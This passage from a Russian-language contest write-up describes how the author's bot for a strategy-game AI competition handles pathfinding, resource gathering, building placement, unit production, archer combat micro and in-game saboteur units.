• отступление рабочих от опасности

• обработка задач на строительство

• рекрутинг диверсантов

• строительство лучников

• строительство мечников

• строительство рабочих

• починка рабочими ближайших целей, нуждающихся в починке

• заказ зданий

• подтягивание рабочих к строящимся зданиям

• движение рабочих к поврежденным турелям

• атака рабочими соседних врагов

• сбор ресурсов, которые находятся рядом

• подтягивание рабочих к ресурсам

• обработка действий диверсантов

• обработка действий лучников

• обработка действий мечников

• атака турелями

• обработка запросов на освобождение места для движения

Составляющие победы

Далее будем рассматривать игры 1 на 1, как более честные и подумаем какие же факторы будут влиять на победу в партии. Я бы выделил такие:

• Добыча ресурсов

• Строительство

• Производство юнитов

• Боевая система

• Стрельба

И на более поздних стадиях пришло понимание важности еще таких факторов как:

• Безопасность рабочих

• Пространство

Каждый из факторов это отдельная тема с множеством нюансов. Рассмотрим их по порядку.

Добыча ресурсов

Очевидно, что чем больше рабочих у игрока занимаются добычей ресурсов, тем больше денег, а значит большей войск. С этим понятно, а как быть с выбором, к какому ресурсу поедет рабочий? Самый простейший способ это жадный алгоритм. Т.е. каждого рабочего рассматриваем независимо, и он едет к ближайшему к себе ресурсу, объезжая другие мешающие объекты.

В чем проблема такого подхода? В том что могут случаться ситуации, когда несколько рабочих едут к ресурсу, тогда как есть место для добычи только для одного.

Тут рабочий 1 доезжает раньше и занимает место. А второму не останется ничего как искать куда пристроится в другом месте. В итоге второй рабочий совершает кучу ненужных движений.

Напрашивается усовершенствование, что как только ближайшийрабочий выбирает себе место, он тут же должен как бы зарезервировать его для себя, чтобы другие даже не рассматривали его в качестве своего конечного назначения.

Итак, нужно отсортироватьрабочих по возрастанию расстояния до ресурсов, и после этого раздать им команды двигаться к ближайшему, каждый раз исключая конечную клетку движения из списка возможных доступных клеток для следующих рабочих.

С этим вариантом тоже не все так гладко.

Тут, если считать расстояние всегда по прямой, ближайшей будет клетка за домом, и чтобыего обойти надо не 5, а 11 ходов! Тогда как был более близкий ресурс в 6 шагах. И тут мы приходим к тому факту, что встроенного поиска пути нам уже недостаточно. С ним мы не знаем, сколько по факту времени займет путь, а также нет уверенности, как именно будет ходить движок, т.к. в общем случае можно проложить множество разных наикратчайшихпутей к одной точке.

Для поиска пути есть 2 основных алгоритма: поиск в глубину и поиск в ширину.

Поиск в глубину (или DFS) хорош в случае, если у нас есть одна исходная точка и одна целевая, и надо найти наикратчайшийпуть между ними. Если простым языком, то в нем мы как бы начиная от старта начинаем проходить путь, моделируя движение, и на каждом шаге выбираем наиболее перспективную клетку для следующего шага. При этом если упираемся в тупик, то возвращаемся к прошлым клеткам, опять же выбирая из них наиболее перспективную.

Поиск в ширину (или BFS) хорош в случаях, когда у нас есть один или множество начальных клеток и одна или множество целевых. Кстати, целевых может вообще не быть, а просто происходить завершение поиска по некоторому условию. В этом поиске, если простыми словами, мы как бы начинаем обход слоями, или волнами, вначале проходим всех клетки на расстоянии 1, потом на расстоянии 2 и т.д. Это гораздо более тяжелый поиск, потому что за раз обходим большое количество клеток, в худшем случае - все поле. Надо стараться запускать его как можно реже. Дойдя до некой целевой клетки, можно по цепочке отследить начало, если в каждой ноде поиска хранить ссылку на предыдущую ноду.

Что лучше подходит в нашем случае? Конечно поиск в ширину, т.к. у нас есть множество свободных рабочих и множество свободных клеток, куда они могут прийти чтобы собирать ресурс. Откуда начинать поиск, от рабочих или от ресурсов? В принципе это не столь важно, хотя чисто интуитивно кажется, что правильнее от рабочих.

Как было у меня?

В общем, я тут немного ударился в теорию, а на самом деле изначально сделал совсем примитивно, а именно: все сущности, в том числе и рабочие сортировались по близости к врагу. Потом от каждого рабочего запускалось BFS чтобы найти ближайший ресурс. И потом вызывалась функция performMove, общая для всех юнитов, которая ищет путь по DFS и ходит в соседнюю клетку. Это даже не спасало от проблемы, описанной в самом начале, когда 2 рабочих едут к одному ресурсу. Но тогда я заметил еще один явный недостаток. Поиск не учитывал, что, если путь заблокирован другим рабочим, что через время он может освободится.

В этой ситуации, рабочий не мог догадаться, что 1 скоро пройдет и откроет ему путь к ресурсам, и мог пойти в совершенно другую сторону. А потом, когда путь открывался, он обратно возвращался, совершая кучу ненужных движений.

Исправил это следующим образом. В начале, для рабочего делался поиск ресурса с помощью BFS считая, что другие рабочие это препятствия. И если он так ничего не находит, тогда повторяем поиск, только уже считая, что другие рабочие не являются препятствиями. В этом случае, "запертые" среди зданий рабочие все же находили ресурсы и шли к ним напролом, даже если там были другие рабочие, мешающие пройти. Это дало интересный побочный эффект: на тесных картах, если поверхность, с которой можно пристроиться собирать ресурсы оказывалась меньше, чем число рабочих, то рабы как бы прижимались к краям, освобождая пространство под постройку.

Потом по мере добычи периметр сбора ресурсоврасширяется, и прижавшиеся рабочие быстро находят себе место.

Кстати, еще интересный вопрос: какой ресурс лучше собирать, если на выбор есть несколько соседних? Пробовал много разных вариантов, но самым лучшим оказалось собирать ресурс, который уже больше всего добыт (возможно другими рабочими).

Объяснение этому я дал следующее: чем скорее будут исчезать клетки с ресурсами, тем лучше, поскольку освобождается путь и расширяется периметр выработки, а значит больше рабочих смогут подступиться к ресурсам для добычи.

Следующее, что я заметил, это такую типичную ситуацию

В текущей реализации рабочий пойдет по пути серой пунктирной линии, совершит 2 хода и на 3ий начнет добычу. Тогда как более оптимально было бы стать на место рабочего сверху, а тот который сверху должен подвинуться направо. Да, механика игры позволяла совершить такие одновременные ходы. В этом случае на следующем ходе недополучим 1 единицу ресурса из-за движения рабочего сверху, но уже на второй ход будем добывать 2, таким образом в перспективе выигрывается 1 единица ресурса. Это казалось довольно незначительным улучшением, но все же реализовать стоило. Реализация была довольно примитивна: для каждого рабочего перед движением проверяем, есть ли у него ресурс в шаговой доступности, где стоит другой рабочий. Если есть, то создаем "запрос" этому втором рабочему подвинуться. Причем, второй рабочий может подвинуться только на клетку, рядом с которой будет ресурс, иначе не удастся выиграть единицу ресурса и весь профит теряется. Если в этой клетке есть еще и 3ий рабочий, то запрос посылается так же и ему, и так по цепочке, пока у крайнего рабочего не будет свободной клетки рядом с ресурсом, на которую тот может пойти.

Но появились сложности..

Рабочий снизу хочет подступиться к ресурсу, просит верхнего подвинуться. Верхний может подвинуться, но есть 2 варианта, попросить подвинуться левого или правого. В данном случае, он должен попросить левого, чтобы избежать более длинных цепочек сдвигов. Сделано это было так, что запрос на то, чтобы подвинуться отдавался тому рабочему, который ближе к свободной клетке с ресурсом.

Как сравнивать разные стратегии добычи ресурсов?

Для этого желательно полностью исключить фактор войны. Я прогонял чисто экономические тесты игр, когда играли 2 моих бота, не строящие войска, причем только первые 500 тиков. Кол-во добытых ресурсов коррелирует с очками, поэтому было примерно понятно.

Подход с запросами на сдвиги давал видимое преимущество в добыче. Но был и явный недостаток: для активации этого поведения надо чтобы рабочий оказался в нужном месте и сделал запрос, а это чисто случайность. Хотелось бы чтобы рабочий знал, что, дойдя до некой клетки он сможет сделать такой запрос и тот будет удовлетворен, но как это грамотно реализовать сходу придумать не удалось.

Потом я обратил внимание на игры Commandos-а, который в итоге занял 1е место. У него подход со сдвигами тоже работал, но как-то намного более интенсивно, и не только в экономике, а и в постройке тоже. Призадумался, и мне показалось, что знаю, как он реализовал (хотя, как оказалось не так), и что надо все сделать по-другому.

А именно, до меня дошло, что надо поиск BFS проводить от свободных позиций рядом с ресурсами и, дойдя до раба, тянуть его к началу. При этом, другие рабочие не должны быть преградами в таком поиске. Мы должны уметь их проходить насквозь и тянуть следующих, если их не потянул кто-то еще.

В примере выше, начинаем обход с целевых свободных клеток возле ресурсов, помеченных красным прямоугольником (0 шаг), на 1 шаге волна распространяется от них, проходит сквозьуже добывающих рабов, но пока не двигает их. А когда доходит до свободных рабов, то подтягивает их к себе, с 4 на 3, и с 5 на 4.

Причем, рабочего, который ближе тянет ближайшая клетка к ресурсам, а того, который дальше, следующая по дальности. Это сделано для того, чтобы к одной и той же клетке не шло несколько рабочих. Пример ниже:

Когда волна от A доходит до рабочего 1, и успешно подтягивает его - она останавливается. И если по завершении BFS есть рабочие, до которых не дотянулись + есть свободные клетки, к которым еще никто не двигался, то запускаем BFS повторно, от оставшихся свободных клеток (B и C), и уже проходим сквозь рабочих возле ресурсов, а также сквозь походившего рабочего 1, пока не дойдем до рабочего 2.

Далее происходит:

На следующем шаге рабочие уперлись в спины уже работающим, и начинают их двигать, т.к. иначе они не смогут пройти. При этом происходит как бы замещение обязанностей. Те, которые шли к свободным ресурсам в итоге продолжают добывать совсем другие ресурсы, а те, которых вытолкнули, пристраиваются к свободным.

Эта техника позволяет дотянуться и вытащить всех рабочих из недр застроек базы, плюс она более экономна в плане использования ресурсов, т.к. мы не запускаем отдельно BFS на каждого рабочего, а только перезапускаем волны некоторое кол-во раз, пока не дотянемся до всех.

Строительство домов

Тут есть два разных подхода, каждый из который имеет свои преимущества и недостатки.

Строительство по сетке это подстройка домов в заранее предопределенных позициях. Преимущества: 1) Экономия пространства 2) Не нужно думать о возможности блокирования юнитов, когда застройкой часть юнитов случайно отрезаются от остальной части карты

Недостаток один - что это может быть не так быстро, как построить дом там, где сейчас больше всего рабочих. Может понадобиться подвести рабочих к позиции для строительства, а это все лишние движения, и минус по экономике.

Хаотичная застройка. Ну тут все наоборот, в качестве преимущества получаем возможность построить дом там, где сейчас стоят больше всего рабочих, а значит закончат они его максимально быстро и без лишних движений. А недостатки: 1) Позиции домов могут получиться очень разреженными, что требует много места 2) Надо заботиться о том, чтобы не застроить каких-то рабочих, либо принять как данность, что это может иногда случаться.

Лично я выбрал путь строительства по сетке:

Причем как видно из скриншота, сетка строится так, чтобы дома были вплотную к базе. Это очень хорошо работает на тесных картах. Хотя может показаться, что это довольно расточительно, т.к. по бокам остается аж 2 свободные клетки. Но, по факту, там часто бывает много ресурсов, которые надо сначала добыть, чтобы там что-то построить. А вот так это выглядит, когда домов становится больше:

В какой же следующей позиции следует закладывать новый дом? Тут надо придумать некую метрику, по которой будем выбирать лучшую позицию. На это могут влиять много факторов, но ключевое это сколько рабочих есть рядом, чтобы заняться стройкой. Тянуть рабов издалека - плохой вариант.

Следующий вопрос, который стоит обсудить, это сколько рабочих слать на постройку дома?

Тут следует учесть то, что если рабочих мало, то дом будет строится долго, и можно упереться в лимит. А если рабочих сильно много, то хотя дом и построится быстро, они будут отвлекаться от добычи ресурсов и будет нанесен урон экономике. Для себя я вывел оптимальное соотношение, что дом строят не более 4 рабочих причем не более 1 домов за раз, при популяции до 15, 2 домов при популяции от 15 до 50 и 3 домов - если более 50 . Также начинаем строить заранее, чтобы минимизировать моменты, когда лимит на максимуме и не можем больше строить юнитов.

Если рабочий случайно проезжал мимо и оказался рядом со строящимся домом - то он также будет помогать достраивать.

Также я разделял понятия сколько рабочих едут изначально на постройку дома и сколько могут присоединиться позже, чтобы помочь достроить. Вполне реальна ситуация, что в округе нет достаточно рабочих чтобы начать строить, остальные слишком далеко, и начнем строить допустим одним или двумя. Но те, что вдалеке могут случайно подъехать и будут также привлечены к строительству. Почему случайно? Практика показала, что не стоит специально вести рабочих слишком издалека для постройки домов, т.к. лучше рабочий вместо этого будет добывать ресурсы. Так что на помощь в достраивании у меня могут приезжать рабочие с радиуса 15, но не более.

Некоторые участники еще перед подводом рабочего считали, какой вклад он успеет внести в строительство, ведь может оказаться, что рабочий подъедет, но практическиникак не сократитвремя постройки, либо сократит очень незначительно. Это интересная идея, но у меня не дошли руки до её реализации.

Расступись!

Еще один полезный трюк, которому я обучил своего бота это дать приказ рабочим расступиться, чтобы построить здание.

Красным пунктиром показано место с наибольшим скоплением рабочих, где планируем поставить дом. После создания задачи на строительство включается поведение, которое уводит всех рабочих внутри в свободные клетки по краям. Когда они все выйдут, будет заложен дом, и эти рабочие его достроят.

Как подводить рабочих к домам для строительства?

Изначально у меня были какие-то простые костыльные методы, которые подводят заданное количество рабочих к дому. Потом я заметил, что при строительстве барака бывает такая ситуация. Нужно подвести много рабочих, но первые подъехавшие блокируют путь другим.

На примере выше еще ничего, т.к. только один рабочий не нашел себе места. Но не всегда так везет, и бывает, что строят всего 3 раба, а остальные из-за них не могут подойти это уже хуже.

Тут напрашивается, чтобы рабочий начал двигать тех, которые строят. Только ближе к концу я заметил, что тут полная аналогия с добычей ресурсов и один и тот же подход с подводом рабов может быть использован как для добычи, так и для строительства. Т.е. запускаем BFS от свободных клеток рядом с домом и подтягиваем рабочих, до которых первых дотянулись, пока не наберется минимальное кол-во рабочих необходимых для строительства.

Где строить барак?

Это очень интересный вопрос. Изначально при оценке позиций для барака я старался строить его как можно ближе к углу базы. Почему? Не спрашивайте.. Так подсказывала интуиция. Но потом я случайно заметил стойкую корреляцию, что чем ближе барак к центру, тем больше вероятность победы. Буквально ближе на 5 клеток, и уже новая версия выигрывает, грубо говоря в 55% процентах случаев, на 10 клеток - в 60% и т.д. Поэтому метрика для строительства была переписана так чтобы поощрять более близкие к центру позиции. Это все выродилось в совершенно наглую чизовую стратегию, но об этом расскажу позже)

Приехали строить, а денег нет

Довольно частая ситуация, которая возникала на ранних этапах, что создавалась задача на постройку, когда ресурсы были, но, когда рабочие подъезжали к месту строительства - они куда-то тратились на другие нужды, и теперь денегнет..Чтобы такого не происходило, когда создана задача на строительство я поначалу запрещал строительство чего-либо еще. Но это грубое костыльное решение, ведь могло оказаться, что денег скопится намногобольше,чем нужно.

Поэтому где-то к концу я придумал механизмрезервирования денегна счету. Выглядит это так. Допустим на счету есть 300, и хотим построить барак. Создаем задачу на строительство и резервируем 500 на барак. Далее, когда пытаемся узнать сколько есть свободных денег, то передаем параметром в функцию тип сущности, которую хотим построить. Если допустим это барак - то будет выдано 300, но если это другой тип, например дом, то будет выдано -200 (300 - 500). А значит денег на дом нет. Потом, пока рабочие едут чтобы заложить барак, денег может стать допустим 560. Если теперь спросим сколько денег есть на дом, то будет выдано 60 (560 - 500). А значит дом ценой 50 уже можем без проблем построить и еще останутся деньги на барак. Подобная система резервирования средств сделала строительство более прогнозируемым. Я пытался её применять и для строительства юнитов, но там заметного улучшения добиться не удалось.

Производство юнитов

Один из вопросов, который надо решить, это на каких юнитов тратить деньги в каждый конкретный момент. Мы уже выяснили, что мечники не эффективные, значит выбираем из рабочих и лучников. Рабочие это инвестиция на бедующее. Если игроку удалось построить их больше, обеспечить им безопасную добычу и сдержать натиск врага, то партия обычно в конечном счете выигрывается. Но если построить их слишком много, то может не хватить войск чтобы сдержать противника (либо их убьют диверсанты, но об этом позже).

Экспериментальным путем было установлено, что оптимальное кол-во в среднем для разных карт это около 60. Поэтому бот у меня вначале старался довести рабочих до максимума, а потом плавно достраивал лучников. Хотя минимально 10 лучников должно было быть при любом количестве рабочих.

Тут еще накладывает эффект особая механика, что каждый следующий живой юнит одного типа стоит на 1 единицу дороже. Так, если допустим базовая цена рабочего 10, то при живых 10 рабочих, 11-й будет стоить уже 20. Поэтому достроить 10 рабочих когда у тебя их 60, это совсем не то же самое, что построить 10, когда их у тебя 50. Первый вариант на 100 ресурсов дороже.

Но даже при таком раскладе, все-таки имеет смысл, когда вокруг много мест добычи, достраивать рабочих, чтобы превзойти противника по экономике. Они успевают окупиться. Я в этом убедился, когда была запущена песочница с возможностью запуска игр 1на1. Бот упорно проигрывал тем, кто строил 70-80 рабочих, против моих 60ти.

Нужно ли больше рабочих?

Стало понятно, что нужна некая гибкая стратегия подстройки рабочих и я пришел к такой метрике, которую практически не менял до конца. Строим минимально 40 рабочих. Далее, считаем, сколько уникальных свободных клеток рядом с ресурсами есть в радиусе 3 клеток от моих рабочих, добывающих ресурсы. Вычитаем из этого числа количество рабочих, которые не находятся рядом с ресурсами (т.е. они потенциально займут найденные свободные позиции). Далее вычитаем еще магическую константу 2 ивуаля! Если число получилось положительное значит стром еще рабочих.

FreePositionsInRange3 - FreeWorkers - 2 > 0

При уменьшении магической константы бот будет строить больше рабочих. Этим можно и регулировать. В финале я её сделал равной 1.

Чем хороша такая метрика?Она хорошо работает на тесных картах, где периметр, с которого можно добывать довольно мал. Бот не будет перестраивать рабов, которые в итоге будут стоять и тупить без возможности занять место для добычи. И вместо этого построить армию, которая будет гораздо более полезна на этом этапе. А когда периметр добычи расшириться, и появятся места куда встать, тогда уже бот адаптивно подстроит еще рабочих.

Пример выше: свободных позиций отмеченных желтым: 32,свободных рабочих,отмеченных красным: 19

32 - 19 - 2 =11 >0 ,значит нужно строить еще рабочих.Кстати,тут видно одну особенность такой метрики - рабочие в отдалении, вокруг которых нет других рабочих вносят большой вклад по свободным клетки и при наличии таких рабочих бот скорее всего будет идти в макро. Считать ли это дефектом или фичей я незнаю..

Когда строить лучников?

Лично у меня, лучники идут в порядке строительства раньше рабочих. Причем бот их строит на все деньги. И когда уже цена на них поднимается до небес из-за описанной выше механики повышения цены на юниты одного типа, то только тогда начинается достройка более дешевых на текущий момент рабочих.

Вообще же в бою экономически целесообразно держать лимит лучников как можно меньше и размениваться хотя бы 1 в 1. Тогда Если допустим у нашего бота лимит лучников 40, а у противника 60 но он не может продавить и идет размен - то каждый наш новый лучник будет стоить 35 + 40 = 75, а каждый лучник противника 35 + 60 = 95, и мы даже размениваясь 1 в 1 будем выигрывать по экономике. Но это в теории. А на практике же, когда у бота превосходство по лимиту, то есть неплохой шанс просто продавить, атаковать рабов, снести бараки и т.д. Так это работает для всех, кроме ботаCommandos-а :) Он как-то умудрился строить лучников пачками по 40. И пока расходуется одна пачка, копятся деньги на следующую. По каким-то хитрым условиям у него это поведение также отключается и переводится в строительство лучников на все деньги.

Как видно выше, пачка воюет, лимит для постройки есть, но лучники не достраиваются и деньги копятся.

То, что сначала казалось мне багом по факту работало! Я тоже пытался реализовать у себя нечто подобное, но так и не получилось. Видимо что-то упустил.

Боевая система

Боевая система- этотокак именно бот используетвойска, чтобы нанести наибольший урон противнику. Её можно разделить на 4 составляющие: выбор цели, перемещение к цели, боевое микро и стрельба.

Выбор цели

Выбор цели производится для тех лучников, которые стоятдалее,чем на 7 клеток от врага, и иногда его также можно делать для тех, которые стоят на расстоянии 6 и 7, чтобы выходить из боя.

Тут наиболее простое и прямолинейное решение, это идти к самому ближнему вражескому юниту.Что плохого в таком подходе?Пример: на базу проник 1 лучник противника. И мы значит всем войском, произведеннымс казармы,начинаем за ним гонятся, т.к. он ближе всех остальных врагов. А в это время, на передней линии войск не хватает, и противник продавливает, захватывая территорию.

Поэтому как улучшение годится вести счетчик, сколько наших лучников выбрало целью вражескоголучника, и за каждого следующего нашего лучника приоритет выбора вражескогопонижается..Чтобы это работало, также важно, чтобы наши лучники были отсортированы по расстоянию до ближайшего вражеского.

Перемещение к цели

Для перемещения к цели подходит алгоритм DFS, т.к. он хорош, когда есть один старт и одна цель. Вопрос только в том, что считать препятствием при перемещении. Если считать лес, то у лучников могут быть проблемы с перемещением по тесным проходам, они могут жутко толпиться и мешать друг другу.

У меня долгое время лес считался препятствием, но DFS работал таким образом, что стремился переместить лучника как можно ближе к цели сканируя область не более 20 клеток вокруг. Таким образом он частенько находил ближайшую точку рядом с полосой леса, которая отделяет лучника от врага. Если в эту же область приходили другие лучники, то они стояли группой возле леса, и было такое специальное поведение, что если у лучника нет ходов для движения, то он атакует ближайших лес мешающий ему пройти. Это приводило к тому, что как только рядом с лесом набиралась некая группа моих лучников, они начинали потихоньку "рыть" проход к цели.

Причем как видно было реализовано поведение, что если один лучник стреляет по лесу, а другим лучникам в данный ход нечего делать, то они тоже помогают убивать лес.

Ближе к концу я модифицировал свой DFS таким образом, чтобы считать лес не препятствием, а проходимой клеткой, но имеющей штраф 6 (столько ходов надо чтобы уничтожить единицу леса). Такимобразомнодысо штрафом разворачивались позже, и вначале поиск пытается найти путь по свободным клеткам, и только если не получилось - идет через лес. С этой модификацией лучник уже пытается уничтожить мешающий ему лес сразу, а не ждет, пока окажется заблокированным со всех сторон.

Считать ли непроходимыми клетками своих лучников?Я считал, но при условии ограниченности радиуса поиска и когда лучник стремится подойти как можно ближе к цели. А значит, если лучникиходят,начиная от ближайших к цели, то получаются вполне организованные колонны - все идут строем один за другим:

Числами показан порядок перемещения.

Толстая фаланга

Еще одной важной проблемой, которая не давала покоя было то, что когда мои лучники и лучники противника сближались, и становились стенка против стенки, то новые лучники подходили сзади и подпирали их. Таким образом они были абсолютно неэффективны, т.к. просто стояли и ничего не делали. И так могло накопиться много слоев моих лучников. Это выглядело как явная тактическая ошибка.

Красным отмечены пассивные бойцы. Очень хотелось, чтобы вместо того, чтобы подпирать стенку, они старались оббегать её по флангам. И, если будет мешать лес, то чтобы активно этот лес расстреливали. Решилось это комплексом изменений.

Одно из них уже упоминалось выше этоштрафовать за выбор одного и того же лучника.

Второе - штрафовать за выбор в качестве цели лучника, вокруг которого есть много других вражеских лучников. Таким образом, мои лучники стремились выбрать целью врагов не в центре вражеской"фаланги",а по её краям, тем самым включалось стремление к окружению.

Третье: когда находим путь к противнику с помощью DFS, то смотрим его конечную точку, если эта точка находится аккурат за спиной 2 моих других лучников, которые мешают пройти к цели - то отменяем поход к этой цели и включаем поиск BFS, который стремится найти ближайшего врага, в обход моих лучников. Это делает практически невозможным ситуацию, когда один лучник упирается в спины других. Ну и во время такого движения деревья не считаем препятствиями, просто даем небольшой штраф за перемещение по ним. Если деревья будут мешать пройти - сразурасстреляемих.

Все это привело к реальноэффектномуи стремительному обходу по флангам -точто нужно!

Боевое микро

Когда лучники оказываются на расстоянии 7 и 6 клеток к противнику и ближе то внезапно становится необходимо очень ответственно подходить к каждому ходу, т.к. от этих ходов будут зависеть какими будут возникающие бои, выгодными или неочень..Бой этокогда лучники уже могут стрелять, т.е. 5 клеток к противнику и ближе.

Собственно слово "микро", походит из стратегий реального времени, вродеСтаркрафта, где игроку надо отдавать множество мелких команд для четкого управления группами войск вплоть до отдельных юнитов. Это называется "микроконтроль", илисокращённо"микро".

Если говорить упрощенно, то надо стремиться, что в возникающих боях наших лучников было больше, чем лучников противника. В этом случае скорее всегоудастсяразменяться поровну или даже в плюс.

В данной игребоевканемного похожа на ту, которая была в муравьях, где я принимал участие. Поэтому я не мог не глянуть как же я реализовал её там :)

А в муравьях это было следующим образом. Для небольших боев (до 8 лучников, если правильно помню) был реализован полный перебор и выбор лучшего хода. Если же муравьев было больше, то включался совсем другой режим, какой-то жутко костыльный код, в который лучше не лезть.

Тут перебирать очень не хотелось, поэтому придумал довольно простую систему:

• для каждого своего лучника изначально находим кто в радиусе 6 и 7, и сохраняем в отдельные списки, это пригодится потом

• для каждого вражеского лучника - также, по отношению ко мне

• сортируем всех своих лучников по степени вовлеченности в бой, а это: по кол-ву лучников в радиусе стрельбы, потом в радиусе 6 и потом в радиусе 7

• начинаем итерации от самыхвовлечённых. для каждого:

• если у него есть цели в радиусе стрельбы - стреляем, если нет

• если у него есть цели в радиусе 6, то находим из них самую вовлеченную в бой цель, по тому же принципу как сортировал своих, это пригодится потом

• смотрим, сколько у этой цели есть наших лучников в радиусе 6, и опрашиваем их, собираются ли они атаковать

• смотрим, сколько у этой цели есть защитников, т.е. лучников стоящих в радиусе 6 +техчто на подходе, т.е. в радиусе 7

• если наших больше - атакуем

• зеркально проверяем по тому же принципу, не смогут ли атаковать нас. Если смогут - отступаем

• если силы примерно равны - никому не выгодно наступать илиотступать, то стоим и ждем подкрепление

• когда мы ожидаем, что исход будетзависетьот того, подойдет ли подмога с расстояния 7 или нет, то потом проверяем по факту подошла ли, и если нет, то отступаем

По этой системе, лучники как будто совещаются между собой кто что будет делать, и пытаются как-то синхронизироваться. Так вот синхронизация происходитчерез юнит, наиболее вовлеченного в бой, т.е. вокруг которого больше всего наших.

В какой-то степени это адекватно работало, по крайней мере при просмотрах боев со своим же ботом я не замечал явных косяков. Атаковал иотсупалказалось в те моменты, в которые и я бы поступил так же. Думаю, это следствие того, что бот успешно предсказывалпротивника,действующего по тому же алгоритму.

Уже ближе к концу топы тоже начали подтягивать свое микро, и я стал замечать много ошибок в боях с ними, когда моих лучников ловили и убивали без потерь. Поэтому приходилось частенько заглядывать и что-то чинить или улучшать. Благо этабоевкадовольно хорошо поддаетсядебагуи многие проблемы я успешно закрывал.

Групповые операции

Бывают ситуации, когда рядом стоящим лучникам надо совершить некое скоординированное действие.Например,вместе отступить, или вместе напасть. Причем сделать это так, чтобы не мешать друг другу.

Например, такая ситуация: 3 против 4 лучников противника. Нужно отступить. Если лучники ходят по очереди, и допустим первым будет ходить лучник под номером 2, то он может ненароком своим отходом закрыть путь для лучника 1. Это человеку понятно, что единственно правильным ходом будет отступить вниз, но бота надо еще этому обучить.

Для этого, когда лучники ходят, они еще не ходят по-настоящему. Они только обозначают свое желание сделать что-то. В данном случае все 3 лучника скажут, что они хотят отступать. А потом, после того как все лучники на расстоянии 6 от врагов будут обработаны, срабатывает так называемый групповой отход. Всех лучников, которые хотят отступать делим на группы так, чтобы минимальное расстояние до ближайшего лучника из группы было не больше, чем 2. Далее смотрим, если группа не слишком большая, скажем до 10, то запускаем перебор всех возможных комбинаций ходовотступления. Этого хватает, чтобы в большинстве ситуаций отступления были скоординированными, чтобы одни юниты не путались под ногами у других.

То же самое работает и для атакующих ходов, детально описывать не буду. Идея та же, перебираем группы близко расположенных атакующих лучников чтобы не мешать друг другу.

"Я отступаю, подвиньтесь пожалуйста"

Этой фразой можно описать суть одного из улучшений в отступление. Когда у юнита нет других безопасных путей к отступлению, но один из таких путей занимает другой юнит, который еще не ходил - то можем попросить его тоже отступить и отойти с дороги.

Координация черезMicroAction

К слову, для обозначения движения микро, чтобы выполнить групповые операции, или просто для анализа кто-что собирается делать, в сущность лучника записывается такой себеMicroActionс одним из значений:

enum class MicroAction {    NONE,    STAND_STILL,    NOT_ATTACK,    ATTACK,    GO_CLOSER,    GO_TANGENTIALLY,    FALL_BACK,    GO_TO_HEAL}

Когда лучникрешает,что ему делать, он анализирует, что делают его соседи поблизости. Если эти соседи союзники и они уже походили, то для анализа как подсказка используется этотmicroAction, иначе - пытаемся предсказать их действия.

Стрельба

По механике данной игры, если юнит оказался в радиусе стрельбы, он всегда сможет выстрелить и нанести урон. Это значит, что, если сойдутся два лучника с полными жизнями - ониубьютдруг друга вторым ходом.

С такой механикой главное правило - не наносить больше урона, чем есть жизней у юнита. Иначе все избыточные выстрелы будут уходить в никуда. Следовательно, когда сходятся 2 группы лучников, то важно определить кто по кому будет стрелять так, чтобы погибло как можно больше вражеских лучников. Кстати, это же касается добычи ресурсов, постройки зданий,починки..

Как разбивать лучниковна группы,участвующие в стрельбе?Ну это довольно просто. Берем произвольного своего лучника, смотрим если есть враги в радиусе стрельбы 5 - добавляем их в текущую группу в качестве противников. Потом смотрим всех добавленных противников, находим всех наших в радиусе 5, и добавляем в текущую группу в качестве союзников. Потом для добавленных повторяем то же самое, и так далее. И, когда некого будет добавить, тогда группа будет готова.

Как же стрелять оптимальным образом внутри такой группы?Симуляцией, как же еще! Вначале считаем сколько есть вариантов комбинаций стрельбы. Если их до 2 миллионов, чтосоответствуетбоям с примерно 10-11 нашими лучниками, значит нормально, можно перебирать. В симуляции за каждого убитого даем 10 очков, за раненого 1 очко.

Для совсем больших боев, когда кол-во комбинаций слишком велико, находим оптимальный вариант стрельбы по методу комбинаторной оптимизации. У меня был реализован алгоритм похожий наимитацию отжига. Судя по моим тестам, он давал близкий к наилучшему результат для больших групп, и при этом работал фиксированное кол-во итераций, а значит предсказуемое количество времени. Хотя, как показывала практика, такие большие бои это огромнаяредкость..Так что умение их выигрывать особо ни на что не влияет. Но приятно, когда этот аспект работает правильно :)

Диверсанты

Диверсанты это такие особые лучники, задача которых проникать противнику на базу и уничтожать рабочих и здания. При этом они должны стараться избегать сражений. Делать я их начал достаточно рано, но очень долгое время они у меня были очень слабые. Чтобы понять почему, надо немного рассказать про реализацию.

Вначале я строил специально для диверсантов некую карту опасности. Каждый вражеский юнит и турели распространяли вокруг себя затухающую область опасности. При движении диверсанта использовался BFS от него к целям со штрафом заопасность. Причем этот штраф был очень высокий. Из-за этого, при малейшей опасности, допустим, когда подошел один вражеский лучник, три моих диверсанта могли бежать без оглядки, оббегая большие лесные массивы, и тратя впустую кучу времени.

Потом, уже в перерыве между этапами финала я заметил, что множитель слишком высок! Сделал его раз в 10 ниже, так что штраф за опасность уже не был таким запредельно большим. Диверсанты стали намного смелее и смертоноснее. С прошлой версиейвинрейттут же стал 70% от изменения одной константы.

Что касается количества диверсантов, то их было примерно десятая часть от всех лучников. Пытался крутить этот параметр в большую и меньшую сторону - но все оказывалось хуже.

Если в текущем тике диверсантовменьше,чем это желаемое количество, торекрутимнового. Стараемся выбрать того лучника, который поближе к вражеским рабам и подальше от боевых юнитов. Если диверсант оказывается слишком близко к вражескому боевому юниту - то он обратно превращается в обычного лучника.

Диверсантов иногда можно заметить в играх с 4 игроками в самом конце игры, добивающими здания, когдаресурсовна карте уже нет, силы всех на исходе, и только благодаря нескольким диверсантам удается набрать еще немного очков, чтобы вытащить игру.

Строительство турелей

Что сказать, долгое время я их игнорировал. Т.к. хотя они и дешевые время на постройку одной турели довольно большое. В играх 1 на 1 они казались абсолютнонеиграбельными. Постановка нескольких турелей уже давала ощутимое проседание по ресурсам, и противник успевал продавливать. Но вот в играх с 4мя игроками они очень выручали. Я экспериментировал с разными стратегиями их постановки, но остановился на такой:

• Ставим турель если приближаются враги, но еще не очень близко (иначе успеют снести) и врадиусенет моих войск

• Приоритет получают позиции близкие к моим рабочимиблизкиек ресурсам

Это немного упрощенное описание, там было больше нюансов, но в целом так. И с виду оно, казалось, работает вполне адекватно. В 1 на 1 по факту они начинали ставится, когда партия уже проиграна, но вдруг противник плохо умеет убивать турели?

Борьба за производительность

